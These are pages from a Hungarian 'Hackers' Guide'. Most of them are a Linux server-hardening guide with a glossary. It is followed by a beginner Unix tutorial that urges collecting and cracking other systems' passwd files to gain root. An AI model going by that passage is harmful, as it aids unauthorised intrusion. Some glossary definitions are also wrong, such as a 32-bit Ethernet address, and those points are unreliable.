A legjobb védekezés tehát a setuid/setgid-es programok ellenõrzése, valóban kell-e az nekik. Vannak programok, amelyeknek a korrekt mûködéshez kell, de néhánynak nem. Ezekrõl vegyük le. Néhány program futtatása biztonságosabb, ha valamilyen wrapper-t használunk, amely megnehezíti a hibák kihasználását.

3.3. Symlink attack Known tmp filename attack-nak is nevezik. A probléma az, hogy egyes programok world-writable könyvtárba (pl. /tmp) írt tmp file-jainak neve kitalálható, tehát lehetséges a program indítása elõtt létrehozni azon a néven egy linket, amely egy másik file-ra mutat. Ez különösen setuid/setgid bites program, illetve több privilégiummal rendelkezõ felhasználó vagy a rendszer által futtatott program esetén veszélyes, mivel így a symlink segítségével olyan file módosítható, amelyhez a linket létrehozó felhasználónak normális esetben nem lenne joga.

Az értelmesebb programok használják a TMPDIR környezeti változót is, ennek beállításával (pl. TMPDIR="$HOME/tmp" a /etc/profile-ba vagy a /etc/security/pam_env.conf-ba), csökkenthetõ a veszély. Ha egy programról kiderül, hogy hibás, upgradeljük vagy cseréljük le.

3.4. Race condition Ez a symlink attack kiterjesztése arra az esetre, amikor a program ellenõrzi, hogy létezik-e már az adott tmp állomány, illetve nem symlink-e, de nem megfelelõ módon nyitja meg (open használatakor az O_EXCL flag nélkül) vagy rosszul állítja be a hozáférési jogokat. Ekkor a file ellenõrzése és megnyitása közötti idõben

44

Hackers’ Guide

létrehozhatunk ugyanazon a néven egy symlinket, amely egy általunk nem, de a program tulajdonosa/groupja ( setuid/setgid program esetén) vagy használója számára olvasható/írható file-ra mutat, így már nekünk is jogunk lesz azt módosítani, esetleg még a hozzáférési jogai is átíródnak.

Solar Designer erre is írt patchet, bár ilyen jellegû hibák ellen hatásos védelem csak a megfontolt programírás és telepítés, illetve a symlink attack-nél említett TMPDIR környezeti változó beállítása lehet.

3.5. IFS (Inter Field Separator, mezõhatároló) megváltoztatása Az IFS az egymás után következõ karaktersorok (utasítások, paraméterek, stb.) elválasztására szolgál. Ennek átírása setuid/setgid-es programok esetén használható ki, ha a program írója nem kellõ körültekintéssel használta a system() vagy az exec() függvényhívásokat. Egy system("/bin/akarmi") függvényhívás, ha kiadtuk az "export IFS='/'" utasítást, a következõképp hajtódik végre: "bin akarmi". Így tehát bárki elhelyezheti saját "bin" nevû programját a PATH-ban. Szerencsére ez nem egyszerû, mivel a PATH-ban lévõ könyvtárak egy mezei felhasználó számára általában nem olvashatók.

3.6. Jelszavak megválasztása Ne használjunk rövid vagy szótárból kikereshetõ szavakat és szóösszetételeket. Ugyancsak kerülendõ a usernév használata a jelszó részeként vagy az 'Egyszerûszó', illetve az 'egyszerûszó+egy_két_szám' megoldás. Ezeket a variációkat percek, de legrosszabb esetben órák alatt dobja ki egy jelszófejtõ program amit érdemes néha lefuttatni), ha a password file rossz kezekbe kerül. A legtöbb jelenlegi rendszer már alapértelmezésben használ szótarakat és különféle algoritmusokat a megfelelõen bonyolult jelszó kiválasztásához, így általában nem is fogadja el a felsoroltak egyikét sem. Felhasználóinkat is figyelmeztessük jelszavaik védelmére és arra, hogy accountjukat nem adják kölcsön senkinek.

A fent említett okok miatt ajánlott a shadow password használata. Így /etc/passwd file - amely mindenki számára olvasható - nem tartalmaz jelszavakat, azokat a /etc/shadow file-ban tárolja a rendszer, hozzáférési joga pedig csak a root-nak van.

3.7. File-ok változásainak figyelése A legkomolyabb óvintézkedések mellett sem lehetünk biztosak, hogy nem lehet betörni szerverünkre. A behatoló viszont, - ha kellõen ügyes és nem rombolni akar - nem hagy feltûnõ nyomokat, viszont készít magának egy kiskaput, hogy késõbb könnyedén hozzáférjen a gépünkhöz. Ez lehet egy megváltoztatott 'passwd' file, esetleg egy átírt 'login', stb. Ezeket szûrhetjük ki, ha tripwire-t használunk, amely a file-ok változásaira figyelmeztet. Ajánlott az általa generált file-t lemezre menteni és biztonságos helyen tárolni. Ha bármi gyanús dolog történik, elõvehetõ és a gépen lévõvel összehasonlítható.

3.8. PAM (Pluggable Authentication Module) Ez egy egységes authentikációs rendszer, feladata a felhasználók bejelentkezésével, memória és filerendszer használatával, valamint az authentikációs szolgáltatásokat nyújtó programokkal kapcsolatos beállítások kezelése. A felhasználókra vonatkozó beállításokat a /etc/security/ könyvtárban lévõ file-ok segítségével végezhetjük, a programokkal kapcsolatos config file-ok /etc/pam.d/ könyvtárban vannak. A részletes dokumentáció a /usr/doc/pam*/ alatt található.

45

Hackers’ Guide

• /etc/security/access.conf: formátuma: permission : users : origins permission: "+", ha engedélyezés, "-", ha tiltás users: user vagy group neve origins: hostnév, domain név ("."-tal kezdõdik), IP cím (alhálózati címnél "." a végzõdés) vagy terminál azonosító Ezen kívül a 2. és a 3. mezõben használhatók a következõ operátorok: ALL: mindent helyettesít EXCEPT: kivételkezelés (pl. ALL EXCEPT root vagy ALL EXCEPT server.akarmi.hu) LOCAL: mindent helyettesít, ami nem tartalmaz "." karaktert például: -: lamer: ALL EXCEPT .akarmi.hu (azaz lamer csak az akarmi.hu domain-bõl léphet be) +: lamer: ALL EXCEPT .akarmi.hu (lamer mindenhonnan beléphet, kivéve az akarmi.hu domaint)

• /etc/security/limits.conf: formátuma: domain type item value domain: user neve, group neve (@group formában) vagy * (azaz minden) type: soft (azaz a limit valamekkora túllépése megengedett) vagy hard (a limitet nem lehet túllépni) item: core (core file max. mérete KB-ban), data (adatterület max. mérete KB-ban), fsize (max. file méret KB-ban), memlock (a locked-in-memory címterület max. mérete), nofile (egyszerre megnyitható file-ok max. száma), rss (a tárban maradó rész max. mérete KB-ban), stack (a stack max. mérete KB-ban), cpu (max. CPU idõ percben), nproc (processzek max. száma), as (címterület mérete), maxlogins (egyidõben ugyanazzal a névvel bejelentkezett felhasználók száma) value: az item értéke például: * hard core 0 (azaz a core file-ok max. mérete 0 KB) @student - maxlogins 4 (a student group-ba tartozó felhasználók egyszerre 4-en léphetnek be)

• /etc/security/pam_env.conf: formátuma: VARIABLE [DEFAULT=[value]] [OVERRIDE=[value]] VARIABLE: a környezeti változó neve DEFAULT: alapértelmezett érték beállítása VARIABLE változóra OVERRIDE: felülírja DEFAULT értékét, ha meg van adva

3.9. Események naplózása A gépen történõ események (belépés, kilépés, különbözõ kiszolgáló programokhoz intézett kérések) naplózása a rendszerbiztonság fontos eleme. A számunkra fontos log file-okat általában a /var/log/ könyvtár alatt találjuk. Ezek közül a 'messages', a 'secure', a 'spooler' és a 'maillog' az, ami alapértelmezésben létezik. Tartalmuk általában a syslog() függvényhívás segítségével keletkezik. A /etc/syslog.conf-ban beállítható, mit és hova szeretnénk logolni. A "mit" nagyrészt

46

Hackers’ Guide

csak attól függ, mennyi információt akarunk kapni a rendszer mûködésérõl. A "hova" azért fontos, mert egy betörés esetén a betörõ megváltoztathatja a logokat, ha azok a gépen vannak tárolva. Ha logjainkat biztonságban szereténk tudni, irányítsuk át õket nyomtatóra vagy egy másik gépre, ahol nincsenek helyi felhasználók és nem fut semmilyen szolgáltatás (mail, httpd, telnet, ftp, stb.), amit felhasználva a gép feltörhetõ. Az átirányításra a syslogd is kínál lehetõséget, de érdemes a kapcsolatot ssh-val forwardolni, így egy sniffer elõl is biztonságban vannak.

4. Kiszolgálók

4.1. tcp-wrapper Ezzel a wrapper-rel szûrhetõk és monitorozhatók az inetd-bõl indított (pop2, pop3, imap, r*, talk, telnet, ftp, tftp, finger, stb.) és a hozzá fordított szerverprogramok által nyújtott hálózati szolgáltatások. A legtöbb Linux disztribúcióban megtalálható. Használata egyszerû: a /etc/hosts.allow és a /etc/hosts.deny file-okban beállítható, hogy egy adott szolgáltatást honnan vagy honnan ne lehessen igénybe venni. Melegen ajánlott elõször tiltani (azaz "ALL: ALL" a /etc/hosts.deny-be) aztán engedélyezni azt, amit és akinek szükséges (a /etc/hosts.allow-ban): ftp: .engedélyezett_domain.hu pop-3: levelezõ.engedélyezett_domain.org Ha tiltásnál nem az "ALL: ALL" opciót használjuk, érdemes használni az "ALL: UNKNOWN PARANOID" beállítást. A PARANOID beállításakor, ha a host neve nem egyezik a címével, a kapcsolatot eldobja. Ennek segítségével csökkenthetõ a DNS spoofing veszélye. Az UNKNOWN használatakor a tcpd ellenõrzi, hogy egy ident kérdésre mi volt a kliens válasza. Ha UNKNOWN@akarmi, akkor megtagadja a szolgáltatás használatát. Ha a kliens nem használ ident-et, akkor az opció figyelmen kívül marad. 4.2. SSH (Secure Shell) Jelenleg a legfrissebb verzió az 1.2.26 vagy a 2.0.12 (ssh2 protokoll). Letölthetõ szinte minden Linux-os ftp szerverrõl, illetve a készítõ, az SSH Communications honlapjáról. Érdemes használni már csak a szolgáltatásai miatt is. Képes kapcsolatokat forwardolni, így a távoli felhasználók több szolgáltatás használata esetén sem kommunikálnak kódolatlanul. Például: ssh -a -f -L port2:tavoli.gep:port1 tavoli.gep -l user perl -e 'sleep' A távoli gépen X programokat indítva a DISPLAY változó értékét megváltoztatja a saját gépünk X konzoljának címére és automatikusan forwardolja a kapcsolatot. Az ssh helyettesítheti az rsh/rlogin parancsokat. File átvitelre ftp vagy rcp helyett használhatjuk az ssh scp parancsát is: scp forráskönyvtár/file célhost:célkönyvtár/ vagy több file és könyvtárak másolása esetén: scp -r forráskönyvtár/* célhost:célkönyvtár/ Kiválthatjuk vele az rexec-et is a következõ módon: ssh hostnév parancs

47

Hackers’ Guide

Lehetõség van a kulcsok központi elosztására, amely egy nagyobb cég hierarchikus szabályainak betartását is lehetõvé teszi. Minden kapcsolat kezdetekor azonosítja a másik oldalt, így csökken a DNS vagy az address spoofing veszélye. Korlátozott védelmet nyújt a man-in-the-middle jellegû támadások ellen, mivel a kapcsolat kezdetétõl kódoltan folyik a kommunikáció. A kapcsolat elrablása ellen ugyan nem véd, de ha az elkövetõ nem a kapcsolat kezdetekor lép be a vonalba, akkor érdemi információ birtokába nem juthat, hacsak nem ismeri mindkét fél kulcsait, amelyek a kódolás feloldásához szükségesek. Ezek azonban óránként újragenerálódnak és az ssh nem tárolja azokat file-okban. A kapcsolat kezdetekor jelez, ha az adott címmel még nem folytattunk kommunikációt, illetve szól, ha valami nincs rendben vele (pl. a host nevéhez tartozó IP cím nem egyezik a tárolttal). Ha szeretnénk biztosak lenni, hogy illetéktelenek nem használják a szolgáltatást, a /etc/ssh/sshd_config-ban (vagy a /etc/hosts.allow / hosts.deny-ben, ha az sshd tcp-wrapper-hez lett fordítva) azt is beállíthatjuk, hogy honnan vagy honnan ne lehessen használni.

4.3. X biztonság Egy X-et futtató gépre X alól bejelentkezve lehetõségünk van ott programokat indítani a "-display gépünk_címe:0" paraméter segítségével, így az alapértelmezett display-t (ami a 0:0, azaz a localhost-on az a terminál, ahol elsõnek indítottunk X-et) átírjuk a saját gépünk X konzoljára. Elõtte azonban ki kell adnunk gépünkön egy "xhost + szervernév" parancsot, hogy gépünk a szerver által kezdeményezett kapcsolatot elfogadja. Régebbi - és épp ezért nem biztonságos rendszereken - az "xhost +" volt az alapértelmezés, azaz bárki kezdeményezhetett kapcsolatot gépünkre, az engedélyünk nélkül és így bármit írhatott/olvashatott a terminálunkról. Épp ezért ne használjuk így ezt a parancsot! Csakis az elõször említett verzió a biztonságos. Azonban még így is kódolatlanul megy át az információ a hálózaton, ezért célszerû a kapcsolatot SSH-val forwardoltatni.

4.4. Inetd Csak a szükséges szolgáltatásokat engedélyezzük. A /etc/inetd.conf átnézése melegen ajánlott, itt mindent kommentezzünk ki, ami nem kell. Amit mindenképp ajánlott letiltani: finger, netstat, systat. Ezek a cracker-eknek fontos információkkal szolgálhatnak gépünkrõl. Ha nem használunk inetd-bõl futó szolgáltatást, ne indítsunk inetd-t. Ha mégis szükséges, használjunk inkább xinetd-t helyette, amely kisebb, biztonságosabb és kínál 1-2 hasznos plusz szolgáltatást is.

4.5. WWW kiszolgáló Eléggé elterjedtek Roxen Challenger vagy az Apache alapú szerverek. Mindkettõt megfelelõen sokan használják ahhoz, hogy a felmerülõ hibák gyorsan kijavításra kerüljenek, a hibák leírását és a patcheket a biztonsággal foglalkozó listákon és fórumokon közölni szokták. A Roxen alapértelmezésben, az Apache a mod_ssl kiegészítéssel képes SSL3 használatára. Ezt csak akkor tudjuk kihasználni, ha SSL3 képes böngészõnk van, ezért Netscape-hez célszerû a Fortify használata. Egy jó tanács: soha ne futtassuk root jogokkal a webszervert! Egy rosszul beállított rendszeren vagy hibás CGI scriptek használata esetén ez komoly gondokat

48

Hackers’ Guide

okozhat. Az Apache alapértelmezésben nobody vagy wwwuser néven fut, Roxen használatakor a 'Global Variables' menüpont alatt beállítható.

4.5.1. CGI scriptek Gondoljuk meg, mit és hogyan használunk. Egy rosszul megírt script komoly veszélyeket hordoz rendszerünkre nézve. Ha mások által írt scripteket használunk, mindig ellenõrizzük, mit is csinál az adott script valójában. Ha ez nem lehetséges, nézzünk át néhány biztonsággal foglalkozó site-ot (lásd fent), nincs-e az adott scripttel kapcsolatban valami probléma. Ha saját magunk írunk scripteket, érdemes elolvasni elõtte egy-két kapcsolódó dokumentumot (lásd alább). Pár dolog, amire érdemes figyelni: - ha Perl-ben írunk scripteket, használjuk a -T opciót (taint), ez figyelmeztet a biztonsági hiányosságok egy részére; - form outputja ne legyen file vagy könyvtár név; - form-ból ne vegyünk át olyan adatokat, amelyek késõbb utasításként használhatók; - form adatait ellenõrzés nélkül ne adjuk át paraméterként (pl. mail-nek); - a system() és az exec() és open() hívásokkal körültekintõen járjunk el; - file jogosultság beállításokkal vigyázzunk.

4.6. DNS (Domain Name Service) Feladata a kiosztott hálózati (IP) címekhez rendelt nevekre (reverse name server funkciók) és az IP címekhez tartozó nevek (name server funkciók) való leképezése. Használjuk a bind 8-as változatából a legfrissebbet (ez jelenleg a 8.2). Ez a hagyományos (4.* verziójú) bind-hez képest nyújt jó néhány hasznos funkciót. Ha valaki paranoid, használhat chroot-olt bind-et is. Ezzel megelõzhetõ, hogy ártó szándékú egyének egy frissen felfedezett hibát kihasználva adatokat szerezzenek meg vagy kárt okozzanak szerverünkön.

4.7. Levélkezelõ (MTA, Mail Transport Agent) Levélkezelõnek használjuk a Wietse Wenema által írt postfix-et vagy a qmail legújabb verzióját. Az elõbbi két MTA megfelelõen biztonságos és jól konfigurálható. Az utóbbi mellett szól, hogy elég sokan használják, így a hibákra elõbb fény derül. A postfix még új, de felépítésébõl eredõen a biztonsági hibák veszélyét komolyan csökkenti.

4.8. POP3 szerver Lehetõleg olyan legyen, amelyik tudja az APOP, SSL vagy más kódolt átvitelt (pl. cucipop), mert enélkül a kommunikáció titkosítatlanul folyik. Persze ehhez megfelelõ kliens használata szükséges (pl. fetchmail).

4.9. lpd (Line Printer Daemon) Csak akkor fusson, ha szükség van rá, de ebben az esetben korlátozzuk a használatra jogosult gépeket a /etc/hosts.lpd vagy a /etc/hosts.equiv beállításával. A legújabbat tegyük fel, régebbi verziókban buffer overflow-t találtak. Helyettesíthetjük LPRng-vel, ami az lp csomag egy újraírt, biztonságosabb változata.

4.10. FTP szerver Csak indokolt esetben használjuk (az nem igazán indok, hogy a tisztelt felhasználó csak azt ismeri).

49

Hackers’ Guide

Egész jó a pro-ftpd legújabb verziója (a régebbiekben buffer overflow volt. Értelmes módon be lehet állítani, ki mihez férjen hozzá, könnyû chroot-olni és egyebek.

4.11. Firewall szoftverek Segítségükkel lehetõségünk van a hálózati forgalmat szabályozni. Korlátozhatjuk szerverünk egyes portjainak vagy éppen a teljes szerver elérését, lehetõségünk van kitiltani egyes protokollokat (pl. ICMP) is, de lehetséges a csomagok tartalma vagy a használt alkalmazási rétegbeli protokoll alapján való szûrés is.

Packet filter firewall: A Linux-os firewall szoftverek közül eléggé elterjedt az ipfwadm, bár ez a 2.2.* kernelekkel már nem mûködik, helyette az ipchains használatos. Az utóbbi sokkal több lehetõséget biztosít a forgalom szûrésekor, de mindkettõ a Linux kernel packet filter (csomagszûrõ) funkcióit használja ki, azaz protokollok, IP címek, illetve portok alapján filterezhetjük a forgalmat, illetve forwardolhatunk hálózati interface-ek között.

Application level (proxy) firewall: Az ilyen funkciókat megvalósító programokkal (pl. tis) lehetséges az alkalmazási rétegben szûrni a csomagokat, azaz megoldható az adott alkalmazások által használt protokollok sajátosságain alapuló szûrés. A proxy firewall nem forwardol az interface-ek között, a megfelelõ portokon az adott alkalmazási protokoll kezelésére írt speciális programok fogadják a kéréseket. Minden forgalom keresztülmegy rajtuk, így lehetõségük van a csomag tartalmának megváltoztatására is.

4.12. Rendszerellenõrzõ programok (security scanner-ek) Használatukkal az ismert hibák azonosíthatók a rendszerben. Figyelmeztet a hiányosságokra, hibás programokra. Részletesebb információt az adott program dokumentációjában találhatunk. Hogy csak néhányat említsek: NESSUS, ADMhack, mscan, SATAN, COPS. Megtalálhatók a COAST archívumban. Használatukkor vigyázzunk, legtöbbjük portscan-t is csinál.

5. Egyéb fontos dolgok A legjobb védekezési technikák sem érnek sokat, ha nem vagyunk elég körültekintõek napi munkánk során. Hogy csak néhány rossz példát említsek: root-ként vagy több jogosultsággal rendelkezõ felhasználó nevében futtatott X, netscape, lynx, irc, stb... Érdemes megfogadni a alábbi tanácsokat: - csakis a legszükségesebb munkákat végezzük root-ként, a napi munkára hozzunk létre egy privilégiumokkal nem rendelkezõ accountot; - ismeretlen programokat soha ne installáljunk vagy futtassunk root-ként, amíg nem vagyunk biztosak, hogy nem tartalmaz kártékony részeket; - a root jelszót soha ne adjuk meg senkinek, ne írjuk fel; - jelszavakat és egyéb fontos információt soha ne küldjünk kódolatlan levélben, használjunk PGP-t (Pretty Good Privacy) vagy GPG-t (GNU Privacy Guard) a titkosításhoz; - root konzolt ne hagyjunk ott, jelentkezzünk ki vagy lock-oljuk (pl. "vlock -a"); - több gépen ne használjuk ugyanazokat a jelszavakat, de legfõképp a root password ne legyen egyforma; - mindig olvassuk a logokat! Ha valaki próbálkozik, annak általában nyoma marad. Persze ezeket fel is kell ismerni. Nyom lehet pl. a többszöri belépési kísérlet adott

50

Hackers’ Guide

hostról vagy accounton, daemonok érdekes hibaüzenetei, kapcsolódási kísérletek gyanús címekrõl, stb. Ha ilyet észlelünk, a próbálkozó hostot azonnal tiltsuk ki minden szolgáltatásból! A legjobb megoldás, ha a firewall-ban tiltjuk ki, ha ez nem lehetséges, akkor tegyük az /etc/hosts.deny-be a címet. Ha ez megvan, érdemes tájékoztatni a kitiltott gép adminisztrátorát.

6. Ha már megtörtént a baj A betörés észlelése után azonnal húzzuk le a hálózatról a gépet! Aztán jöhet a rendszerfile-ok átnézése a tripwire log alapján. Minden megváltozott binárist le kell cserélni, config file-okat, firewall rule-okat felülvizsgálni. Gyakran megváltoztatott file-ok: binárisok: login, su, netstat, ps, who, stb. config file-ok: /etc/passwd, /etc/group, /etc/shadow, /etc/securetty, /etc/ssh/sshd_config, /etc/hosts*, name szerver config file-ok, stb. Töröljünk minden gyanús, nem a rendszerhez tartozó file-t. Ajánlott az összes olyan könyvtár átnézése, ahonnan program futtatható. (A /dev-et se hagyjuk ki!) Ellenõrizzük az összes setuid/setgid jogosultságot használó programot. Minden log-ot mentsünk. Késõbb ezekbõl talán visszanyerhetõ némi információ a betörõ kilétérõl vagy a támadó gép címérõl, esetleg a feltört szolgáltatásról vagy a törés módjáról. Ezeket az információkat célszerû a security-l listán közölni, hogy másoknál ne tudjon próbálkozni az illetõ. A lista zárt, feliratkozni a [email protected] címen lehet 'subscribe security-l sajátnév' szöveggel a levél törzsében. Ezután jöhet az összes jelszó megváltoztatása, az userek értesítése. A log-ok elemzése során a gyanús címeket azonnal tiltsuk ki ( /etc/hosts.deny vagy firewall), majd tájékoztassuk adminisztrátoraikat, mivel lehetséges, hogy az õ gépüket is ugródeszkaként használta valaki.. Ha már biztosak vagyuk abban, hogy mindent átnéztünk, nézzük át még egyszer a rendszert. Ha még mindig rendben van, visszakapcsolhatjuk a hálózatra.

7. Amit érdemes elolvasni

• Üzembiztonság

• Linux Security-Audit FAQ

• WWW Security FAQ

• Security Code Review Guidelines

• FAQ: Network Intrusion Detection Systems.

• Linkek néhány érdekesebb oldalra

8. Használt fogalmak definíciója

• ARP: Address Resolution Protocol. Feladata az adott címhez tartozó hardver cím lekérdezése a másik géptõl a következõ módon (kicsit egyszerûsítve): küld egy broadcast üzenetet, amelyben elküldi azt a címet, amelyhez tartozó hardver címet tudni akarja. A broadcast üzenet lényege, hogy minden

51

Hackers’ Guide

interface elfogadja a helyi hálózaton, de csak az fog válaszolni, akinek a címét az üzenet tartalmazza.

• ARP cache: az ARP által lekérdezett hadver címek egy elõre definiált ideig itt tárolódnak, ezért nem kell minden alkalommal újra lekérdezni õket.

• certificate: a hálózaton erre felhatalmazott szerverek által kiadott tanúsítvány. Ha egy kliens kapcsolatot kezdeményez, a szerver elküldi a certificate-jét, amit a kliens ellenõriz. Ha rendben találja, megkezdõdhet az információ átvitele.

• chroot: használatával egy program bezárható egy adott könyvtárba. Ha jól állítjuk be, nincs lehetõsége, hogy a a megadott könyvtáron kívül mást is lásson.

• exploit: biztonsági hiba kihasználása, általában a kihasználására írt programot illetik e névvel.

• hardver cím: a hálózati interface fizikai címe. Ethernet hálózatok esetén egy 32 bites hexa szám, amely alapesetben minden ethernet interface-nél különbözõ.

• ICMP: Internet Control Message Protocol. A hálózatba kapcsolt intelligens eszközök - a hálózattal kapcsolatos - üzenetcseréjére találták ki.

• ident: a kapcsolatot kezdeményezõ felhasználó nevének azonosítására szolgál.

• noexec: a mount által használt opció. Az így felmountolt filerendszeren lévõ programok nem futtathatók.

• nosuid: a mount által használt opció. Az így felmountolt filerendszerben nincs hatása a setuid/setgid bitnek.

• promiscuous mód: az ethernet interface olyan módja, amelyben nem csak a neki címzett csomagokat fogadja el, hanem mindent.

• routing tábla: megadja egy adott célcím esetén az eléréséhez szükséges útvonalat.

• rsh, rcp, rexec, rlogin: a kernel RPC (Remote Procedure Call) szolgáltatását használják. Az elsõ egy shell-t hív a távoli gépen, az második file-okat másol a két gép között, a harmadik távoli programfuttatást tesz lehetõvé, az utolsó beléptet a távoli gépre. A hálózaton kódolatlanul kommunikálnak, így az átvitt információ lehallgatható.

• setuid/setgid: a futtatható binárisokon lévõ "s" bit. Ha a file tulajdonosának (setuid), illetve group-jának (setgid) jogai között van, akkor az adott program futtatója a file userének/groupjának jogaival rendelkezik a program futásának ideje alatt. A programok betöltése elõtt a linker kitisztítja az environment veszélyes részeit, lefutásuk után pedig az általuk használt memóriaterületeket.

• SNMP: Simple Network Management Protocol. Az intelligens hálózati eszközök távoli managementjének megkönnyítésére készült protokoll.

52

Hackers’ Guide

• spoof(ing): általában a hálózati kommunikáció valamely részébe harmadik fél részérõl történõ beavatkozás.

• syslogd: a rendszer és az egyes programok üzeneteinek kezelésére írt daemon.

• TCP: Transmission Control Protocol. A TCP réteg felelõs a csomagok nagy részének veszteségmentes átviteléért. Kapcsolat-orientált protokoll, azaz várja az elküldött csomag nyugtázását. Ha ezt nem kapja meg egy meghatározott idõintervallumon belül, újraadja a csomagot.

• UDP: User Datagram Protocol. A feladata hasonló, mint a TCP-nek, de nem kapcsolat-orientált.

• visszatérési cím: (return address) a következõ végrehajtandó utasítás címe.

• world-writable: a "t" (sticky) bit be van állítva a könyvtáron vagy bárki számára írható/olvasható. A "t" bit jelentése: mindenki számára írható/olvasható, de mindenkinek csak a saját tulajdonú file-okhoz vannak jogai.

Copyright Srágli Attila ([email protected]) Köszönet Bedõ Sándornak ([email protected]) építõ jellegû

hozzászólásaiért. A dokumentum eredeti formájában szabadon terjeszthetõ a copyright megjelölésével. ************************************************************************************************ Unix parancsok, amelyeket ismerned kell Csak néhány alapparancs van, amelyet meg kell tanulnod használni, és néhány unixos program, amelyek segítenek majd bejelentkezni a számítógépre. Szerezz valahonnan egy ingyenes shellt, hogy kipróbálhasd ezeket az alapparancsokat (pl.http://sdf.lonestar.org-on lehet ingyen regisztráltatni, de itt a hálózati eszközöket nem használhatod, csak ha fizetsz).

1A rész - Alapparancsok

Remélhetoleg már megismerkedtél a DOS-szal, az segíthet egy kicsit, és feltételezem a továbbiakban. DOS parancsok, amelyeket eloször használtál, és megfelelojük az Unixban: /NE FELEJTSD: a Unix megkülönbözteti a kis- és nagybetuket, tehát ha itt kisbetuket használok, neked is azt kell, és ha szóközt használok, neked is kell. A DOS egy csomó dolgot elnéz neked, de a Unix nem!/

DIR/W = ls DIR = ls -l DIR/AH = ls -al

53

Hackers’ Guide

a fentiben AH= hidden, vagyis rejtett -al= beleértve a rejtett fájlokat és a nem rejtetteket is RENAME = mv ATTRIB = chmod MD = mkdir RD = rmdir DEL = rm COPY = cp

Ezek az alapparancsok, javaslom, hogy olvasd el mindegyikhez a man-oldalakat a Unixos shelledben. Ezt a "man parancs" begépelésével érheted el (az idézojelek nem kellenek).

Minden parancshoz kapcsolók tartoznak, például cp -R a fájlok és könyvtárak másolásához. Tehát azt kell írnod, hogy "man cp" az összes kapcsoló kiírásához, amelyeket a cp paranccsal használhatsz.

cd (és utána enter) mindig a home-könyvtáradba visz cp fájlnév $HOME a fájlt a home-könyvtáradba másolja cd ~felhasználónév az adott felhasználó könyvtárába visz, ha van jogod oda belépni pwd (és utána enter) megmutatja, melyik könyvtárban vagy éppen.

1B rész - Telnet

A telnet egy parancs, amelyet a shelledben használhatsz, vagy egy .exe fájl Windows, OS/2 és egyéb operációs rendszerekben, és arra használhatod, hogy más számítógépekhez csatlakozz a neten. Más programok is vannak, amelyeket tanulmányoznod kell majd, mint pl. FTP, vagy rlogin, de most a telnetet fogjuk használni.

Úgy tudod használni a telnetet, ha tudod az IP-címét vagy a hostnevét a számítógépnek, amelyhez csatlakozni akarsz vagy be akarsz jelentkezni. A következoképpen muködik:

Telnet netcom.com vagy telnet 206.146.43.56

Most bejelentkezünk:

telnet machine.com

kis ido elteltével.....

Connected to machine.com

Linux 2.0.28 (machine.com) (ttyp0)

machine login:username password:#######

bash$

Az utóbbi prompt máshogy nézhet ki, de mi ezt fogjuk használni, mint példa.

54

Hackers’ Guide

Vegyük észre, hogy fölötte megjelenik az operációs rendszer neve, amikor megkapod a login promptot. Ezt felhasználhatod, amikor nagy gyujteményed van passwd fájlokból. Még mielott feltörnéd oket, rendezd oket operációs rendszer szerint úgy, hogy betelnetelsz a rendszerekre és megnézed, milyen verziót futtatnak. Más módok is vannak erre, de maradjunk még egy kicsit ennél a telnetnél... telnet domain.name.com, ezután megnézed, mi fut rajtuk, leírod és ctrl+] -t nyomsz hogy kilépj a kapcsolatból. Most minden linux passwd fájlodat másold be egy fájlba, amit eloször fogsz feltörni. Amire szükségünk van, az egy valós account a rendszerhez, és már majdnem biztosak vagyunk benne, hogy root-jogunk lesz a rendszerhez! Túl sok lyuk van a linuxban ahhoz, hogy ne higgyük azt, hogy legalább egyet sikerül majd feltörnünk, tehát folytassuk a munkát, hogy beléphessük a hackelés csodálatos világába. :)

Unixos fájl-jogosultságok

bash$ cd /tmp bash$ ls -l total 783 -rwx------ 1 wood users 1 Jan 25 18:28 19067haa -rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428 -rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598 -rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600 drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens

Eloször is vegyük észre, hogy / jelet és nem \ jelet használtunk a tmp könyvtárba váltáshoz. Az Unix a / jelet használja a root-könyvtár eléréséhez, tehát pont fordítva, mint a DOS-ban. "ls -l"-t használtunk a hosszú könyvtárlistához. Ha csak "ls"-t írtunk volna, ezt kaptuk volna:

bash$ ls 19067haa filter.14428 pop3a13598 pop3a13600 screens

Ebbol nem sokat látunk, tehát a legtöbb esetben "ls -al" -t fogunk írni, hogy minden rejtett fájlt is lássunk, ezek mind "."-tal (ponttal) kezdodnek.

bash$ ls -al total 794 drwxrwxrwt 4 root root 8192 Jan 25 23:05 . drwxr-xr-x 22 root root 1024 Dec 28 18:07 .. -rw-r--r-- 1 berry users 6 Jan 25 23:05 .pinetemp.000 drwxr-xr-x 2 berry users 1024 Jan 25 23:05 .test -rwx------ 1 wood users 1 Jan 25 18:28 19067haa -rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428 -rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598 -rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600 drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens

A .pinetemp.000 egy rejtett fájl, és a .test egy rejtett könyvtár.

-rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428

Most megtanuljuk a jogosultságokat, felhasználókat és csoportokat.

55

Hackers’ Guide

A sor elején vannak a fájl-jogosultságok. Utána következik, hogy ki a fájl tulajdonosa, majd pedig a csoport, amelyhez a fájl tartozik. A fájl-jogosultságok három különbözo csoportba vannak rendezve. Ha a sor d-vel kezdodik, az egy könyvtár. Ha nincs d, akkor egy fájl. -rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428|| | |--------> Others = mindenki más hozzáférési jogai, aki nem tulajdonos és nincs a csoportban.|| |------------> Group = a csoport hozzáférési jogai||----------------> User = a tulajdonos hozzáférési jogai|------------------> ez jelzi, hogy könyvtárról van szó -rw-r--r--|| | |--------> Mások csak olvashatják a fájlt|| |------------> A csoport csak olvashatja a fájlt||----------------> A tulajdonos olvashatja és írhatja a fájlt|------------------> Ez nem könyvtár -rwxrwxr-x|| | |--------> Mások olvashatják és futtathatják a fájlt|| |------------> A csoport olvashatja, írhatja és futtathatja a fájlt||----------------> A tulajdonos olvashatja, írhatja és futtathatja a fájlt|------------------> Nem könyvtár A DOS-ban a fájlnak .exe, .com vagy .bat kiterjesztéssel kell rendelkeznie, hogy futtatható legyen, de a Unixban csak az x-kapcsolót kell beállítanunk a megfelelo oszlopban. Ezeket a jogosultságokat megváltoztathatod, ha te vagy a fájl 